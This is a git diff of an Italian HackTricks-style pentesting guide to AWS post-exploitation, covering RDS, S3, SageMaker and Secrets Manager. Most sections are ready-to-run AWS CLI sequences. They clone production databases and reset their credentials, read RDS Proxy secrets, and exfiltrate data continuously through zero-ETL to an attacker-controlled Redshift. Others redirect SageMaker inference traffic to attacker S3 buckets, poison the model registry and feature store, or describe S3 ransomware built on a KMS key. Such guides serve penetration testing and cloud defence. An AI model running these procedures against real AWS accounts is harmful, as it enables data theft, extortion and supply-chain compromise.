+Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con credenziali controllate dall'attaccante; minore probabilità di rilevamento poiché la primaria rimane intatta e la replica continua a replicare.
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -305,12 +305,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 # aws rds promote-read-replica --db-instance-identifier <REPL_ID>
 ```
 Esempio di evidenza (MySQL):
-- Stato DB replica: `available`, replicazione in sola lettura: `replicating`
-- Connessione riuscita con la nuova password e `@@read_only=1` che conferma l'accesso alla replica in sola lettura.
+- Stato Replica DB: `available`, replicazione in lettura: `replicating`
+- Connessione riuscita con la nuova password e `@@read_only=1` che conferma l'accesso in sola lettura alla replica.
 
 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
 
-Abusa di RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Poi reimposta le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione degli snapshot e spesso bypassa i sistemi di monitoraggio focalizzati solo sulla sorgente.
+Abusa di RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Poi reimposta le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione di snapshot e spesso aggira il monitoring focalizzato solo sulla sorgente.
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -357,22 +357,22 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-Impatto: Accesso in sola lettura ma completo a una copia quasi in tempo reale della produzione senza modificare l'istanza di produzione. Utile per l'estrazione furtiva dei dati e l'analisi offline.
+Impatto: accesso in sola lettura ma completo ai dati di una copia quasi in tempo reale dell'ambiente di produzione senza modificare l'istanza di produzione. Utile per estrazioni dati furtive e analisi offline.
 
 
-### SQL fuori banda via RDS Data API abilitando l'endpoint HTTP + reimpostando la master password
+### SQL fuori banda via RDS Data API abilitando l'endpoint HTTP + reimpostando la password master
 
-Abusa di Aurora per abilitare l'endpoint HTTP del RDS Data API su un cluster target, reimpostare la master password con un valore che controlli ed eseguire SQL su HTTPS (non è richiesto un percorso di rete VPC). Funziona sui motori Aurora che supportano il Data API/EnableHttpEndpoint (es., Aurora MySQL 8.0 provisioned; alcune versioni di Aurora PostgreSQL/MySQL).
+Abusa di Aurora per abilitare l'endpoint HTTP del RDS Data API su un cluster target, reimpostare la password master con un valore sotto il tuo controllo ed eseguire SQL su HTTPS (non è richiesto alcun percorso di rete VPC). Funziona sui motori Aurora che supportano Data API/EnableHttpEndpoint (es. Aurora MySQL 8.0 provisioned; alcune versioni di Aurora PostgreSQL/MySQL).
 
 Permissions (minimum):
 - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
 - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
 
-Impatto: Elude la segmentazione di rete ed esfiltra dati tramite le API AWS senza connettività VPC diretta al DB.
+Impatto: aggirare la segmentazione di rete ed esfiltrare dati tramite AWS APIs senza connettività VPC diretta al DB.
 
 <details>
-<summary>Esempio CLI end-to-end (Aurora MySQL)</summary>
+<summary>CLI end-to-end (esempio Aurora MySQL)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -425,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 </details>
 
 Note:
-- Se SQL con più istruzioni viene rifiutato da rds-data, inviare chiamate execute-statement separate.
+- Se SQL multi-istruzione viene rifiutato da rds-data, eseguire chiamate execute-statement separate.
 - Per gli engine in cui modify-db-cluster --enable-http-endpoint non ha effetto, usare rds enable-http-endpoint --resource-arn.
-- Assicurarsi che l'engine/versione supporti effettivamente la Data API; altrimenti HttpEndpointEnabled resterà False.
+- Assicurarsi che l'engine/version supporti effettivamente la Data API; altrimenti HttpEndpointEnabled resterà False.
 
 
-### Raccogliere le credenziali DB tramite i secret di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### Raccogliere le credenziali DB tramite i segreti di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
 
-Abusare della configurazione di RDS Proxy per individuare il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampi permessi `secretsmanager:GetSecretValue`, rendendo questo un pivot a basso attrito verso le credenziali DB. Se il secret usa una CMK, permessi KMS mal delimitati possono anche consentire `kms:Decrypt`.
+Abusare della configurazione di RDS Proxy per scoprire il secret di Secrets Manager utilizzato per l'autenticazione backend, poi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampi permessi `secretsmanager:GetSecretValue`, rendendo questo un pivot a basso attrito verso le credenziali DB. Se il secret usa una CMK, permessi KMS mal configurati potrebbero anche consentire `kms:Decrypt`.
 
 Permessi necessari (minimi):
 - `rds:DescribeDBProxies`
 - `secretsmanager:GetSecretValue` sul SecretArn referenziato
-- Opzionale se il secret utilizza una CMK: `kms:Decrypt` su quella chiave
+- Facoltativo quando il secret usa una CMK: `kms:Decrypt` su quella chiave
 
-Impact: Divulgazione immediata del DB username/password configurato sul proxy; consente accesso diretto al DB o ulteriore lateral movement.
+Impatto: Divulgazione immediata dello username/password DB configurato sul proxy; permette accesso diretto al DB o ulteriore movimento laterale.
 
 Passaggi
 ```bash
@@ -480,9 +480,9 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
 aws iam delete-role --role-name rds-proxy-secret-role
 aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
 ```
-### Esfiltrazione continua stealthy via Aurora zero‑ETL verso Amazon Redshift (rds:CreateIntegration)
+### Esfiltrazione continua furtiva tramite Aurora zero‑ETL verso Amazon Redshift (rds:CreateIntegration)
 
-Abusa dell'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una resource policy Redshift permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per uno specifico ARN del cluster Aurora, an attacker può stabilire una copia dei dati quasi in tempo reale senza DB creds, snapshots o esposizione di rete.
+Abusa dell'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless sotto il tuo controllo. Con una resource policy di Redshift permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per un specifico Aurora cluster ARN, un attacker può stabilire una copia dei dati in near‑real‑time senza DB creds, snapshots o esposizione di rete.
 
 Permessi necessari (minimi):
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
@@ -493,7 +493,7 @@ Permessi necessari (minimi):
 Testato su: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
 
 <details>
-<summary>1) Create Redshift Serverless namespace + workgroup</summary>
+<summary>1) Creare namespace Redshift Serverless + workgroup</summary>
 ```bash
 REGION=us-east-1
 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -540,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 </details>
 
 <details>
-<summary>3) Crea cluster Aurora PostgreSQL (abilita Data API e replica logica)</summary>
+<summary>3) Crea un cluster Aurora PostgreSQL (abilita Data API e logical replication)</summary>
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -571,7 +571,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
 </details>
 
 <details>
-<summary>4) Crea l'integrazione zero‑ETL da RDS</summary>
+<summary>4) Creare l'integrazione zero‑ETL da RDS</summary>
 ```bash
 # Include all tables in the default 'postgres' database
 aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
@@ -583,7 +583,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
 </details>
 
 <details>
-<summary>5) Materializzare e interrogare dati replicati in Redshift</summary>
+<summary>5) Materializzare e interrogare i dati replicati in Redshift</summary>
 ```bash
 # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
 aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -596,12 +596,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 ```
 </details>
 
-Evidenze osservate nel test:
+Evidenze rilevate nel test:
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
-- SVV_INTEGRATION ha mostrato integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e state PendingDbConnectState prima della creazione del DB.
-- Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha rivelato lo schema ztl e la tabella customers; la SELECT su ztl.customers ha restituito 2 righe (Alice, Bob).
+- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
+- Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha rivelato lo schema ztl e la tabella customers; una SELECT su ztl.customers ha restituito 2 righe (Alice, Bob).
 
-Impatto: Exfiltration continua quasi in tempo reale di tabelle selezionate di Aurora PostgreSQL in Redshift Serverless controllato dall'attaccante, senza usare credenziali del database, backup o accesso di rete al cluster sorgente.
+Impatto: Esfiltrazione continua near‑real‑time di tabelle selezionate di Aurora PostgreSQL in Redshift Serverless controllato dall'attaccante, senza usare database credentials, backups o accesso di rete al cluster di origine.
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
deleted file mode 100644
index 727867f9c..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ /dev/null
@@ -1,38 +0,0 @@
-# AWS - S3 Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### Informazioni Sensibili
-
-A volte sarà possibile trovare informazioni sensibili leggibili nei bucket. Ad esempio, segreti dello stato di terraform.
-
-### Pivoting
-
-Diverse piattaforme potrebbero utilizzare S3 per memorizzare asset sensibili.\
-Ad esempio, **airflow** potrebbe memorizzare il **codice** dei **DAG** lì, oppure **pagine web** potrebbero essere servite direttamente da S3. Un attaccante con permessi di scrittura potrebbe **modificare il codice** dal bucket per **pivotare** verso altre piattaforme, o **prendere il controllo degli account** modificando i file JS.
-
-### Ransomware S3
-
-In questo scenario, l'**attaccante crea una chiave KMS (Key Management Service) nel proprio account AWS** o in un altro account compromesso. Poi rende questa **chiave accessibile a chiunque nel mondo**, consentendo a qualsiasi utente, ruolo o account AWS di crittografare oggetti utilizzando questa chiave. Tuttavia, gli oggetti non possono essere decrittografati.
-
-L'attaccante identifica un **bucket S3 target e ottiene accesso a livello di scrittura** utilizzando vari metodi. Questo potrebbe essere dovuto a una cattiva configurazione del bucket che lo espone pubblicamente o all'accesso dell'attaccante all'ambiente AWS stesso. L'attaccante di solito prende di mira i bucket che contengono informazioni sensibili come informazioni identificabili personalmente (PII), informazioni sanitarie protette (PHI), log, backup e altro.
-
-Per determinare se il bucket può essere preso di mira per ransomware, l'attaccante controlla la sua configurazione. Questo include la verifica se **S3 Object Versioning** è abilitato e se **la cancellazione con autenticazione a più fattori (MFA delete) è abilitata**. Se Object Versioning non è abilitato, l'attaccante può procedere. Se Object Versioning è abilitato ma MFA delete è disabilitato, l'attaccante può **disabilitare Object Versioning**. Se sia Object Versioning che MFA delete sono abilitati, diventa più difficile per l'attaccante ransomware quel specifico bucket.
-
-Utilizzando l'API AWS, l'attaccante **sostituisce ogni oggetto nel bucket con una copia crittografata utilizzando la propria chiave KMS**. Questo crittografa effettivamente i dati nel bucket, rendendoli inaccessibili senza la chiave.
-
-Per esercitare ulteriore pressione, l'attaccante programma la cancellazione della chiave KMS utilizzata nell'attacco. Questo dà al target una finestra di 7 giorni per recuperare i propri dati prima che la chiave venga cancellata e i dati diventino permanentemente persi.
-
-Infine, l'attaccante potrebbe caricare un file finale, solitamente chiamato "ransom-note.txt," che contiene istruzioni per il target su come recuperare i propri file. Questo file viene caricato senza crittografia, probabilmente per attirare l'attenzione del target e farlo diventare consapevole dell'attacco ransomware.
-
-**Per ulteriori informazioni** [**controlla la ricerca originale**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
new file mode 100644
index 000000000..e550d3d9a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
@@ -0,0 +1,38 @@
+# AWS - S3 Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### Sensitive Information
+
+A volte potrai trovare informazioni sensibili leggibili nei bucket. Per esempio, terraform state secrets.
+
+### Pivoting
+
+Diverse piattaforme potrebbero usare S3 per memorizzare asset sensibili.  
+Per esempio, **airflow** potrebbe memorizzare lì il **DAGs** **code**, oppure **web pages** potrebbero essere servite direttamente da S3. Un attaccante con permessi di scrittura potrebbe **modify the code** dal bucket per **pivot** verso altre piattaforme, o **takeover accounts** modificando file JS.
+
+### S3 Ransomware
+
+In questo scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** o in un altro account compromesso. Successivamente rendono questa **key accessible to anyone in the world**, permettendo a qualsiasi AWS user, role, o account di cifrare oggetti usando questa key. Tuttavia, gli oggetti non possono essere decrittati.
+
+L'attaccante identifica un target **S3 bucket and gains write-level access** usando vari metodi. Questo può essere dovuto a una cattiva configurazione del bucket che lo espone pubblicamente oppure all'accesso dell'attaccante all'ambiente AWS stesso. Tipicamente l'attaccante prende di mira bucket che contengono informazioni sensibili come personally identifiable information (PII), protected health information (PHI), log, backup e altro.
+
+Per determinare se il bucket può essere preso di mira per ransomware, l'attaccante verifica la sua configurazione. Questo include controllare se è abilitato **S3 Object Versioning** e se è abilitato **multi-factor authentication delete (MFA delete)**. Se Object Versioning non è abilitato, l'attaccante può procedere. Se Object Versioning è abilitato ma MFA delete è disabilitato, l'attaccante può **disable Object Versioning**. Se sia Object Versioning che MFA delete sono abilitati, diventa più difficile per l'attaccante effettuare ransomware su quel bucket specifico.
+
+Usando l'AWS API, l'attaccante **replaces each object in the bucket with an encrypted copy using their KMS key**. Questo effettivamente cifra i dati nel bucket, rendendoli inaccessibili senza la key.
+
+Per aumentare la pressione, l'attaccante programma la cancellazione della KMS key usata nell'attacco. Questo dà al bersaglio una finestra di 7 giorni per recuperare i propri dati prima che la key venga cancellata e i dati vadano persi permanentemente.
+
+Infine, l'attaccante potrebbe caricare un file finale, solitamente chiamato "ransom-note.txt", che contiene istruzioni per il bersaglio su come recuperare i propri file. Questo file viene caricato senza cifratura, probabilmente per attirare l'attenzione del bersaglio e fargli prendere conoscenza dell'attacco ransomware.
+
+**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
new file mode 100644
index 000000000..a197469b5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
@@ -0,0 +1,179 @@
+# AWS - SageMaker Post-Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Sifonamento dei dati di un endpoint SageMaker tramite UpdateEndpoint DataCaptureConfig
+
+Abusa della gestione degli endpoint SageMaker per abilitare la cattura completa di richieste/risposte in un bucket S3 controllato dall'attaccante senza toccare il modello o il container. Usa un rolling update a downtime zero/basso e richiede solo i permessi di gestione dell'endpoint.
+
+### Requisiti
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: `s3:CreateBucket` (o usa un bucket esistente nello stesso account)
+- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
+- Target: An existing InService real‑time endpoint in the same account/region
+
+### Passaggi
+1) Identificare un endpoint InService e raccogliere le attuali varianti di produzione
+```bash
+REGION=${REGION:-us-east-1}
+EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
+echo "Endpoint=$EP"
+CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+echo "EndpointConfig=$CFG"
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Prepara attacker S3 destination per captures
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-capture-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+```
+3) Crea un nuovo EndpointConfig che mantiene gli stessi variants ma abilita DataCapture verso l'attacker bucket
+
+Nota: Usa tipi di contenuto espliciti che soddisfino la validazione della CLI.
+```bash
+NEWCFG=${CFG}-dc
+cat > /tmp/dc.json << JSON
+{
+"EnableCapture": true,
+"InitialSamplingPercentage": 100,
+"DestinationS3Uri": "s3://$BUCKET/capture",
+"CaptureOptions": [
+{"CaptureMode": "Input"},
+{"CaptureMode": "Output"}
+],
+"CaptureContentTypeHeader": {
+"JsonContentTypes": ["application/json"],
+"CsvContentTypes": ["text/csv"]
+}
+}
+JSON
+aws sagemaker create-endpoint-config \
+--region $REGION \
+--endpoint-config-name "$NEWCFG" \
+--production-variants file:///tmp/pv.json \
+--data-capture-config file:///tmp/dc.json
+```
+4) Applica la nuova config con un rolling update (minimo/nessun downtime)
+```bash
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+5) Genera almeno una chiamata di inferenza (opzionale se esiste traffico live)
+```bash
+echo '{"inputs":[1,2,3]}' > /tmp/payload.json
+aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
+--content-type application/json --accept application/json \
+--body fileb:///tmp/payload.json /tmp/out.bin || true
+```
+6) Validare captures in attacker S3
+```bash
+aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
+```
+### Impatto
+- Esfiltrazione completa dei payloads delle richieste e delle risposte di real‑time inference (e dei metadata) dall'endpoint target verso un bucket S3 controllato dall'attaccante.
+- Nessuna modifica all'immagine del model/container e solo modifiche a livello di endpoint, permettendo un percorso di furto dati furtivo con minima interruzione operativa.
+
+
+## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
+
+Abusa della gestione dell'endpoint per reindirizzare gli output delle asynchronous inference verso un bucket S3 controllato dall'attaccante clonando l'EndpointConfig corrente e impostando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Questo esfiltra le model predictions (e qualsiasi input trasformato incluso dal container) senza modificare il model/container.
+
+### Requisiti
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: Capacità di scrivere nel bucket S3 controllato dall'attaccante (tramite il model execution role o una permissive bucket policy)
+- Target: un endpoint InService dove le asynchronous invocations sono (o saranno) usate
+
+### Passaggi
+1) Raccogli i ProductionVariants correnti dall'endpoint target
+```bash
+REGION=${REGION:-us-east-1}
+EP=<target-endpoint-name>
+CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Crea un attacker bucket (assicurati che il ruolo di esecuzione del modello possa effettuare PutObject su di esso)
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION || true
+```
+3) Clonare EndpointConfig e hijackare gli output di AsyncInference nel attacker bucket
+```bash
+NEWCFG=${CUR_CFG}-async-exfil
+cat > /tmp/async_cfg.json << JSON
+{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
+JSON
+aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+4) Avviare un async invocation e verificare che gli oggetti finiscano in attacker S3
+```bash
+aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
+aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
+sleep 30
+aws s3 ls s3://$BUCKET/async-out/ --recursive || true
+aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
+```
+### Impatto
+- Reindirizza i risultati di inference asincrona (e i corpi degli errori) a S3 controllato dall'attaccante, permettendo l'esfiltrazione covert di predizioni e potenzialmente di input sensibili pre/post-elaborati prodotti dal container, senza modificare il codice o l'immagine del modello e con downtime minimo/nullo.
+
+
+## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
+
+Se un attaccante può eseguire CreateModelPackage su un target SageMaker Model Package Group, può registrare una nuova versione del modello che punta a un'immagine del container controllata dall'attaccante e marcarla immediatamente come Approved. Molte pipeline CI/CD distribuiscono automaticamente le versioni Approved a endpoints o training jobs, causando l'esecuzione di codice dell'attaccante con i ruoli di esecuzione del servizio. L'esposizione cross-account può essere amplificata da una policy permissiva sulla risorsa ModelPackageGroup.
+
+### Requisiti
+- IAM (minimo per avvelenare un gruppo esistente): `sagemaker:CreateModelPackage` sul ModelPackageGroup target
+- Facoltativo (per creare un gruppo se non esiste): `sagemaker:CreateModelPackageGroup`
+- S3: accesso in lettura a ModelDataUrl referenziato (o ospitare artefatti controllati dall'attaccante)
+- Target: un Model Package Group che le automazioni a valle monitorano per versioni Approved
+
+### Passaggi
+1) Imposta la regione e crea/individua un Model Package Group target
+```bash
+REGION=${REGION:-us-east-1}
+MPG=victim-group-$(date +%s)
+aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
+```
+2) Prepara dati fittizi del modello in S3
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+head -c 1024 </dev/urandom > /tmp/model.tar.gz
+aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
+```
+3) Registrare una Approved model package version maliziosa (qui benigna) che faccia riferimento a un'immagine pubblica AWS DLC
+```bash
+IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
+cat > /tmp/inf.json << JSON
+{
+"Containers": [
+{
+"Image": "$IMG",
+"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
+}
+],
+"SupportedContentTypes": ["text/csv"],
+"SupportedResponseMIMETypes": ["text/csv"]
+}
+JSON
+aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
+```
+4) Verificare che la nuova versione Approved esista
+```bash
+aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
+```
+### Impatto
+- Avvelena il Model Registry con una versione Approved che fa riferimento a codice controllato dall'attaccante. Le Pipelines che effettuano l'auto-deploy di modelli Approved possono scaricare ed eseguire l'immagine dell'attaccante, ottenendo l'esecuzione di codice con i ruoli endpoint/training.
+- Con una policy permissiva sulla risorsa ModelPackageGroup (PutModelPackageGroupPolicy), questo abuso può essere innescato cross-account.
+
+## Avvelenamento del Feature Store
+
+Abusa di `sagemaker:PutRecord` su un Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live consumati dall'inferenza online. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Questo non richiede accesso ai modelli o agli endpoint.
+
+{{#ref}}
+feature-store-poisoning.md
+{{/ref}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
new file mode 100644
index 000000000..9af5aeb93
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
@@ -0,0 +1,50 @@
+# SageMaker Feature Store online store poisoning
+
+Abusa di `sagemaker:PutRecord` su un Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live consumati dall'inference online. In combinazione con `sagemaker:GetRecord`, an attacker può leggere feature sensibili. Questo non richiede accesso a modelli o endpoint.
+
+## Requisiti
+- Permessi: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- Obiettivo: Feature Group con OnlineStore abilitato (tipicamente a supporto dell'inference in tempo reale)
+
+## Passaggi
+1) Scegli o crea un piccolo Online Feature Group per i test
+```bash
+REGION=${REGION:-us-east-1}
+FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
+if [ -z "$FG" -o "$FG" = "None" ]; then
+ACC=$(aws sts get-caller-identity --query Account --output text)
+FG=ht-fg-$ACC-$(date +%s)
+ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
+aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
+echo "Waiting for feature group to be in Created state..."
+for i in $(seq 1 40); do
+ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
+echo $ST; [ "$ST" = "Created" ] && break; sleep 15
+done
+fi
+```
+2) Inserire/sovrascrivere un record online (poison)
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+cat > /tmp/put.json << JSON
+{
+"FeatureGroupName": "$FG",
+"Record": [
+{"FeatureName": "entity_id", "ValueAsString": "user-123"},
+{"FeatureName": "event_time", "ValueAsString": "$NOW"},
+{"FeatureName": "risk_score", "ValueAsString": "0.99"}
+],
+"TargetStores": ["OnlineStore"]
+}
+JSON
+aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
+```
+3) Leggi nuovamente il record per confermare la manipolazione
+```bash
+aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
+```
+Atteso: risk_score restituisce 0.99 (impostato dall'attaccante), dimostrando la capacità di modificare le feature online utilizzate dai modelli.
+
+## Impact
+- Attacco di integrità in tempo reale: manipolare le feature utilizzate dai modelli di produzione senza toccare endpoints/models.
+- Rischio per la riservatezza: leggere feature sensibili tramite GetRecord da OnlineStore.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
deleted file mode 100644
index 900905421..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# AWS - Secrets Manager Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Per maggiori informazioni consulta:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Read Secrets
-
-I **secrets sono informazioni sensibili**, [consulta la pagina privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) per imparare come leggerli.
-
-### DoS Change Secret Value
-
-Cambiare il valore del secret potrebbe **causare un DoS a tutti i sistemi che dipendono da quel valore.**
-
-> [!WARNING]
-> Nota che i valori precedenti sono anch'essi memorizzati, quindi è facile tornare al valore precedente.
-```bash
-# Requires permission secretsmanager:PutSecretValue
-aws secretsmanager put-secret-value \
---secret-id MyTestSecret \
